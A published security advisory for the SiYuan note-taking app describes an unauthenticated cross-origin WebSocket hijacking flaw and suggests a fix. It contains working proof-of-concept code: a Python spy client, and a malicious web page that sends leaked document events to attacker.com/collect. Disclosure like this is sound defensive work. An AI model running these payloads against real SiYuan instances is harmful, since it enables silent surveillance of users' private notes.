Advisory

GHSA-xp2m-98x8-rpj6

Also known as: CVE-2026-32815, GO-2026-4709

Summary

SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure

Details

Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure

Summary

SiYuan's WebSocket endpoint (/ws) allows unauthenticated connections when specific URL parameters are provided (?app=siyuan&id=auth&type=auth). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.

Combined with the absence of Origin header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity.

Affected Component

  • File: kernel/server/serve.go:728-731
  • Function: serveWebSocket() → HandleConnect handler
  • Endpoint: GET /ws?app=siyuan&id=auth&type=auth (unauthenticated)
  • Version: SiYuan <= 3.5.9

Root Cause

The WebSocket HandleConnect handler has a special case bypass (line 730) intended for the authorization page:

util.WebSocketServer.HandleConnect(func(s *melody.Session) {
    authOk := true
    if "" != model.Conf.AccessAuthCode {
        // ... normal session/JWT authentication checks ...
        // authOk = false if no valid session
    }

    if !authOk {
        // Bypass: allow connection for auth page keepalive
        // 用于授权页保持连接,避免非常驻内存内核自动退出
        authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
                 strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
    }

    if !authOk {
        s.CloseWithMsg([]byte("  unauthenticated"))
        return
    }

    util.AddPushChan(s)  // Session added to broadcast list
})

Three issues combine:

  1. Authentication bypass via URL parameters: Any client connecting with ?app=siyuan&id=auth&type=auth bypasses all authentication checks.
  1. Full broadcast membership: The bypassed session is added to the broadcast list via util.AddPushChan(s), receiving ALL PushModeBroadcast events — the same events sent to authenticated clients.
  1. No Origin validation: The WebSocket endpoint does not check the Origin header, allowing cross-origin connections from any website.

Proof of Concept

Tested and confirmed on SiYuan v3.5.9 (Docker) with `accessAuthCode` configured.

1. Direct unauthenticated connection

import asyncio, json, websockets

async def spy():
    # Connect WITHOUT any authentication cookie
    uri = "ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth"
    async with websockets.connect(uri) as ws:
        print("Connected without authentication!")
        while True:
            msg = await ws.recv()
            data = json.loads(msg)
            cmd = data.get("cmd")
            d = data.get("data", {})

            if cmd == "rename":
                print(f"[LEAKED] Document renamed: {d.get('title')}")
            elif cmd == "create":
                print(f"[LEAKED] Document created: {d.get('path')}")
            elif cmd == "renamenotebook":
                print(f"[LEAKED] Notebook renamed: {d.get('name')}")
            elif cmd == "removeDoc":
                print(f"[LEAKED] Document deleted")
            elif cmd == "transactions":
                for tx in d if isinstance(d, list) else []:
                    for op in tx.get("doOperations", []):
                        if op.get("action") == "updateAttrs":
                            new = op.get("data", {}).get("new", {})
                            print(f"[LEAKED] Doc attrs: title={new.get('title')}")

asyncio.run(spy())

2. Cross-origin attack from malicious website

<!-- Hosted on https://attacker.com/spy.html -->
<script>
// Victim has SiYuan running on localhost:6806
const ws = new WebSocket("ws://localhost:6806/ws?app=siyuan&id=spy&type=auth");

ws.onopen = () => console.log("Connected to victim's SiYuan!");

ws.onmessage = (event) => {
    const data = JSON.parse(event.data);
    // Exfiltrate document operations to attacker
    fetch("https://attacker.com/collect", {
        method: "POST",
        body: JSON.stringify({
            cmd: data.cmd,
            data: data.data,
            timestamp: Date.now()
        })
    });
};
</script>

3. Confirmed leaked events

The following events are received by the unauthenticated WebSocket:

| Event | Leaked Data |
|-------|-------------|
| savedoc | Document root ID, operation data |
| transactions | Document title, ID, attrs (new/old) |
| create | Document path, notebook info (name, ID) |
| rename | New document title, path, notebook ID |
| renamenotebook | New notebook name, notebook ID |
| removeDoc | Document deletion event |

4. Cross-origin connection confirmed

import websockets, asyncio

async def test():
    uri = "ws://localhost:6806/ws?app=siyuan&id=attacker&type=auth"
    extra_headers = {"Origin": "https://evil.attacker.com"}
    async with websockets.connect(uri, additional_headers=extra_headers) as ws:
        print("Cross-origin connection accepted!")  # SUCCEEDS

asyncio.run(test())

Result: Connection succeeds — no Origin validation.

Attack Scenario

  1. Victim runs SiYuan desktop (Electron, listens on localhost:6806) or Docker instance
  2. Victim has accessAuthCode configured (server is password-protected)
  3. Victim visits attacker.com in any browser
  4. Attacker's JavaScript connects to ws://localhost:6806/ws?app=siyuan&id=spy&type=auth
  5. WebSocket connection bypasses authentication
  6. Attacker silently monitors ALL document operations in real-time:
  • Document titles ("Q4 Financial Results", "Employee Reviews", "Patent Draft")
  • Notebook names ("Personal", "Work - Confidential")
  • File paths and document IDs
  • Create/rename/delete operations
  1. Attacker builds a profile of the victim's note-taking activity without any visible indication

Impact

  • Severity: HIGH (CVSS ~7.5)
  • Type: CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets)
  • Authentication bypass on WebSocket endpoint when accessAuthCode is configured
  • Cross-origin WebSocket hijacking — any website can connect to local SiYuan instance
  • Real-time information disclosure of document metadata (titles, paths, operations)
  • No user interaction required beyond visiting a malicious website
  • Affects both Electron desktop and Docker/server deployments
  • Silent — no visible indication to the user

Suggested Fix

1. Remove the URL parameter authentication bypass

// Remove or restrict the auth page bypass
// Before (vulnerable):
authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
         strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")

// After: Use a separate, restricted endpoint for auth page keepalive
// that does NOT receive broadcast events

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2026-03-16 18:46 UTC
Modified
2026-03-30 13:59 UTC

Affected packages and fixes

github.com/siyuan-note/siyuan/kernel

Go · All systems

Affected

  • introduced 0, last affected 0.0.0-20260313024916-fd6526133bb3 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences